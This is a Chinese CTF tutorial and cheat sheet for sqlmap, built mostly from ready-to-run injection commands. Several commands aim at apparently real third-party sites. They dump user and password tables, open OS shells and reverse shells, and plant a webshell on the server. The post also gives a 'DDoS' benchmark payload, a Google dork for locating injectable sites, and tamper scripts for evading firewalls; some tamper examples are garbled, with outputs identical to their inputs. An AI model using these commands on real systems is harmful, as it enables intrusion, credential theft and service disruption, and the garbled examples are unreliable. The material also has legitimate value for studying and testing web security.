CTF-web 第十二部分 sqlmap专题

35 篇文章 25 订阅

  sqlmap开源又功能强大的工具,支持现在几乎所有的数据库,比国内的任何工具都强。支持get,post ,cookie注入。可以添加cookie和user-agent 支持盲注,错误回显注入,还有其他多种注入方法。 支持代理, 优化算法,更高效, 指纹识别技术判断数据库。

 

当给sqlmap这么一个url (http://192.168.136.131/sqlmap/mysql/get_int.php?id=1) 的时候,它会:

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择,读取哪些数据

 

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

 

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

 

        不得不说,在很多的注入里面我们都可以使用sqlmap,这是一个名副其实的神器,随着学习的过程我发现它有太多的功能了,但是网上的却又是纷繁杂乱,所以决定在这里对sqlmap的一些功能进行及时的更新,方便以后的使用,下面就开始总结:

(1)安装及使用

        上github上下载就行,我们要知道sqlmap是python2版本的,所以需要下载好python2,进入文件根目录之后,按住shift右键打开命令行工具,就可以开始使用了。

        一般搞我们这行的都有两个版本的py,使用的时候需要在命令行前打上 py -2 

 

(2)一般使用

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。 

1、同时显示基本信息和警告信息。(默认) 

2、同时显示debug信息。

3、同时显示注入的payload。 

4、同时显示HTTP请求。 

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

 

    -m  从文本中获取多个目标扫描

// 文件中保存url格式如下,sqlmap会一个一个检测
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

-u指定路径,-v:显示详细的信息,有0-6级,默认为1 

            cookie注入至少2级   --level=LEVEL也可以

            检查User-agent和Referer需要>=3

 

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1

      -p 指定注入的目标参数,不选择的话它会尝试所有的参数

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"

       --method --data指定方法和post的数据  会测试提交的数据

py -2 sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"

      --cookie 指定cookie,可以注入一些需要cookie的地址 

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" --level=2

      --proxy 指定代理注入

py -2 sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 

    -r  "path" 从文件中加载HTTP请求

    sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

# 比如文本文件内如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1
# 当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后门加上:443
py -2 sqlmap.py -r search-test.txt -p tfUPass,
# 这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。

 --data  此参数是用来指定注入数据的,GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite或者F12查看URL和参数的值即可,当然也可以自动获取等。

py -2 sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

    --cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用:

    1、web应用需要登陆的时候。

    2、你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里。

        在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。

        如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。

        当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

--dump 用来显示数据库字段内容

  –dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
  –dump -T "" -D "" –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据

    --tamper参数是sqlmap的绕过脚本

# 我们可以在最后指定一下绕过的脚本,不止一个 有好几个可以自己选择
--tamper "space2morehash.py" 可以使用,分割多个脚本

    --force-ssl HTTPS扫描HTTPS网站时需要添加的参数

py -2 sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl

一般猜解流程,以cookies和post data为例,这应该是最麻烦的

sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "pid=hgdh6527" --level 2
sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"

//得到了注入点之后执行以下命令
–-users #列数据库所有用户
–-passwords #数据库用户所有密码

--dbs    # 获取数据库
-D 库名 --tables   # 获取表
-D 库名 -T 表名 --columns    # 获取列
--dump -D 库名 -T 表名 -C 列名   # 获取字段值

//也可以继续获取 shell
--os-shell  # 然后选择页面的语言 给出一个绝对地址 就可以使用命令了  例如 ipconfig
--file-write /root/test.php --file-dest /var/www/html/1.php  # 本地文件写入服务器 不死马之类的

3)注入的简单流程

get注入

        get注入需要的是我们提供目标网址,当然必须是有肉眼可识别的注入参数。

   假设目标是 http://www.baidu.com/news.php?id=1&data=2

        cookies注入 --level=2    refer use-agent --level=2

        postdata注入需要--method "POST" --data "id=1&cat=2"

爆出对方的数据库 

py -2 sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --dbs
// 假设结果显示库有3个: test1 、test2  、test3

爆出数据库下的表

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 --tables
//假设有表3个:admin,user,news

爆出表下的字段

// 获取admin表的columns
sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns
//假设有字段3个:id,username,password

获取id,username,password字段的内容

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"

一切顺利的话 这算是完成了一次注入。可以继续写木马

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --file-write /root/test.php --file-dest /var/www/html/1.php

还可以获取交互式shell,跟上边的原理一样的

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" --os-shell

 

关于post和cookie需要特殊对待一下

post注入的关键是获取网页的表单和指定注入的参数

第一种方式, 就是让sqlmap去自动获取表单:

sqlmap -u "http://www.xxxxxxxx.gov.cn/bxcxnew1.aspx" --forms

我们就会得到网页中提交的内容,并且让你填写数据的具体,后来想起来注入的话,是什么都无所谓了

或者是我们自己手动赋值

sqlmap.py -u "http://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs

第二种, 爪好POST包后存在一个文件中, 再用 -r 参数读取, 这种方式的好处是不易出错, 当一个页面有多个表单时, 能正确指引。

将Bp中的信息保存,默认放在sqlmap根目录下, 再用 -r 读取就行了。我这命名为search-test.txt 然后把它放至sqlmap目录下,假设参数为username。password

py -2 ./sqlmap.py -r search-test.txt -p username

各种注入简单实例
 

# 这里关于sqlmap调用方法就不注意细节了
# access注入
sqlmap.py -u "url"       ==检测。
sqlmap.py -u "url" --tables     ==猜表。
sqlmap.py -u "url" --columns -T "表名"       ==猜字段
sqlmap.py -u "url" --dump -T "表名" -C "字段,字段"      ==暴表里面的字段的内容


# Mysql数据注入
sqlmap.py -u url  --privileg  ==查看权限(root什么什么的)
sqlmap.py -u url --is-dba 判断是不是root权限
sqlmap.py -u url --dbs   ==获取数据库
sqlmap.py -u url --tables -D "数据库名"     ==获取当中的数据库的表
sqlmap.py -u url --columns -D "数据库名" -T "表名"   ==获取数据库 表中的字段
sqlmap.py -u url --dump -D "数据库名" -T "表名" -C "字段,字段"  ==获取数据库表的字段里的内容


# Cookie注入
注入点:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dbs --level 2    ==暴表名

sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" -D "库名" -T "表名" --columns --level 2  #暴表的字段

sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dump -T "表名" -C "字段,字段" --level 2 #暴表的字段内容

# post登陆注入 mssql

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345"

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  #获取数据库名

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "数据库名"   #列表

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "数据库名"  #暴字段

sqlmap.py -u "http://testasp.vulnweb.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "字段,字段" -T "表" -D "数据名"  #暴字段内容


# 直接拿shell或者执行命令(需要权限很大跟物理路径)

sqlmap.py -u url --os-shell
sqlmap.py -u url --os-cmd=ipconfig

# 伪静态注入
注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html   (注意:要加个* 哪里存在注入就加上 * 号)
    
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dbs   #获取数据库名

sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --tables -D "数据名"    #获取数据库当中的表

sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --columns -D "数据名" -T "表名"  #获取数据库的表中的字段

sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dump -D "数据名" -T "表名" -C "字段,字段" #获取数据库的表中的字段内容


# 请求延时(一般突破防火墙)

第一种方法:sqlmap.py -u url --delay 2   (注意:2是两秒的意思,也就是说2秒访问一次)
第二种方法: sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思。。)
可以组合使用 sqlmap.py -u url --delay 2 --safe-freq 3

(4)常用大全

下面是 羽翼SQLMAP系列课程笔记
#######################################################################3
常用语句
sqlmap -u http://www.target.com/id=2
--dbs
--tables -D whatA
--columns -D databaseA -T tableA
--dump -D databaseA -T tableA -C "username,password"
=================================================================================
cookie注入
注入点:http://www.ntjx.org/jsj/DownloadShow.asp?id=9
语句sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
=================================================================================
post注入
注入点:http://testasp.vulnweb.com/Login.asp
配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass
---------------------------------------------------------------------------------------------
自动获取
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
指定参数
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
=================================================================================
交互式写shell 需要指定根目录
---------------------------------------------------------------------------------------------
sqlmap -u http://www.target.com/id=2 --os-cmd=ipconfig
执行ipconfig
sqlmap -u http://www.target.com/id=2 --os-shell
获得一个shell即时执行命令,会生成文件 tmpbxbxz.php 和 tmppuoiuz.php
---------------------------------------------------------------------------------------------
伪静态注入点:http://www.target.com/ndex.php/Index/view/id/40.html
sqlmap -u http://www.target.com/ndex.php/Index/view/id/40*.html --dbs //注意*位置,在有注入的地方,后面你懂的
=================================================================================
请求延时
注入点:http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
参数 --delay --safe-freq
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5 //延时0.5秒
sqlmap --dbs -u http://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq //请求2次
=================================================================================
google关键字找注入点
sqlmap -g inurl:php?id=1
=================================================================================
sqlmapDDoS攻击
sqlmap -u http://www.target.com/id=2 --sql-shell
获得一个即时shell,执行
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
=================================================================================
sqlmap绕过WAF防火墙
注入点:http://www.target.com/id=2
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"
tamper文件夹下自行发挥
=================================================================================
sqlmap查看 权限及可执行函数
sqlmap -u http://www.target.com/id=2 --privileges
#####################################################################################

最后再来一个小小的参数总结吧
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “数据库” -D “表” -C “字段” #列出指定数据库的表的字段的数据(–dump -T users -D master -C     surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft                     Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “” #自定义user-agent
–proxy “http://127.0.0.1:8118″ #代理注入
–string “” #指定关键词
–threads #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’     LIMIT 0, 1″ )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目    标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注

附录 自带绕过脚本类型

# sqlmap自带的绕过脚本
    apostrophemask.py UTF-8编码
    Example:
    * Input: AND '1'='1'
    * Output: AND '1'='1'
    apostrophenullencode.py unicode编码
    Example:
    * Input: AND '1'='1'
    * Output: AND '1'='1'
    appendnullbyte.py 添加
    Example:
    * Input: AND 1=1
    * Output: AND 1=1
    Requirement:
    * Microsoft Access
    base64encode.py base64编码
    Example:
    * Input: 1' AND SLEEP(5)#
    * Output: MScgQU5EIFNMRUVQKDUpIw==
    between.py 以“not between”替换“>”
    Example:
    * Input: 'A > B'
    * Output: 'A NOT BETWEEN 0 AND B'
    bluecoat.py 以随机的空白字符替代空格,以“like”替代“=”
    Example:
    * Input: SELECT id FROM users where id = 1
    * Output: SELECT id FROM users where id LIKE 1
    Requirement:
    * MySQL 5.1, SGOS
    chardoubleencode.py 双重url编码
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: SELECT FIELD FROM TABLE
    charencode.py url编码
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: SELECT FIELD FROM TABLE
    charunicodeencode.py 对未进行url编码的字符进行unicode编码
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
    Requirement:
    * ASP
    * ASP.NET
    equaltolike.py 以“like”替代“=”
    Example:
    * Input: SELECT * FROM users WHERE id=1
    * Output: SELECT * FROM users WHERE id LIKE 1
    halfversionedmorekeywords.py在每个关键字前添加条件注释
    Example:
    * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
    * Output: value'--
    Requirement:
    * MySQL
    modsecurityzeroversioned.py 条件注释,0000
    Example:
    * Input: 1 AND 2>1--
    * Output: 1 --
    Requirement:
    * MySQL
    multiplespaces.py 添加多个空格
    Example:
    * Input: UNION SELECT
    * Output: UNION SELECT
    nonrecursivereplacement.py 可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)
    Example:
    * Input: 1 UNION SELECT 2--
    * Output: 1 UNUNIONION SELSELECTECT 2--
    percentage.py 在每个字符前添加百分号(%)
    Example:
    * Input: SELECT FIELD FROM TABLE
    * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
    Requirement:
    * ASP
    randomcase.py 随即大小写
    Example:
    * Input: INSERT
    * Output: InsERt
    randomcomments.py 随机插入区块注释
    Example:
    'INSERT' becomes 'INSERT'
    securesphere.py 语句结尾添加“真”字符串
    Example:
    * Input: AND 1=1
    * Output: AND 1=1 and '0having'='0having'
    sp_password.py 语句结尾添加“sp_password”迷惑数据库日志(很。。。)
    Example: www.2cto.com
    * Input: 1 AND 9227=9227--
    * Output: 1 AND 9227=9227--sp_password
    Requirement:
    * MSSQL
    space2comment.py 以区块注释替换空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECTidFROMusers
    space2dash.py 以单行注释“--”和随机的新行替换空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1--PTTmJopxdWJ AND--cWfcVRPV 9227=9227
    Requirement:
    * MSSQL
    * SQLite
    space2hash.py 以单行注释“#”和由随机字符组成的新行替换空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1#PTTmJopxdWJ AND#cWfcVRPV 9227=9227
    Requirement:
    * MySQL
    space2morehash.py 没看出来和上面那个有什么区别。。
    Requirement:
    * MySQL >= 5.1.13
    space2mssqlblank.py 以随机空白字符替换空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECTidFROMusers
    Requirement:
    * Microsoft SQL Server
    space2mssqlhash.py 以单行注释“#”和新行替换空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1# 9227=9227
    Requirement:
    * MSSQL
    * MySQL
    space2mysqlblank.py 以随机空白字符替换空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECTidFROM�users
    Requirement:
    * MySQL
    space2mysqldash.py 以单行注释和新行替换空格
    Example:
    * Input: 1 AND 9227=9227
    * Output: 1-- AND-- 9227=9227
    Requirement:
    * MySQL
    * MSSQL
    space2plus.py 以“+”替换空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECT+id+FROM+users
    space2randomblank.py 随机空白字符替换空格
    Example:
    * Input: SELECT id FROM users
    * Output: SELECT\rid\tFROM\nusers
    unionalltounion.py 以“union all”替换“union”
    Example:
    * Input: -1 UNION ALL SELECT
    * Output: -1 UNION SELECT
    unmagicquotes.py 以“�'”替换单引号,并在结尾添加注释“--”
    Example:
    * Input: 1' AND 1=1
    * Output: 1�' AND 1=1--
    versionedkeywords.py 对不是函数的关键字条件注释
    Example:
    * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
    * Output: 1,,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()),CHAR(32)),CHAR(58,100,114,117,58))#
    Requirement:
    * MySQL
    versionedmorekeywords.py 对关键字条件注释
    Example:
    * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
    * Output: 1,,((58,122,114,115,58),(CAST(()),(32)),(58,115,114,121,58))#
    Requirement:
    * MySQL >= 5.1.13

来源: https://blog.csdn.net/whatday/article/details/54774043

支持的数据库编号脚本名称作用实现方式
all1apostrophemask.py用utf8代替引号("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 
2base64encode.py 用base64编码替换("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
3multiplespaces.py围绕SQL关键字添加多个空格('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'
4space2plus.py用+替换空格('SELECT id FROM users')
'SELECT+id+FROM+users'
5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
6space2randomblank.py代替空格字符(“”)从一个随机的空
白字符可选字符的有效集
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
7unionalltounion.py替换UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT')
'-1 UNION SELECT'
8securesphere.py追加特制的字符串('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
mssql1space2hash.py绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
2equaltolike.pylike 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
3space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
4space2mssqlhash.py替换空格('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
5between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
6percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
8charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9randomcase.py随机大小写* Input: INSERT
* Output: InsERt
10charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
mysql >= 5.1.131equaltolike.pylike 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
2greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
3apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
4ifnull2ifisnull.py绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
5space2mssqlhash.py替换空格('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
6modsecurityversioned.py过滤空格,包含完整的查询版本注释('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
7space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
8between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
9modsecurityzeroversioned.py包含了完整的查询与零版本注释('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
10space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
11bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
12percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14randomcase.py随机大小写* Input: INSERT
* Output: InsERt
15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
17charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
MySQL < 5.119halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
20halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
MySQL >= 5.1.1321space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
 Oracle1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
3between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
4charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5randomcase.py随机大小写* Input: INSERT
* Output: InsERt
6charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
 PostgreSQL1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
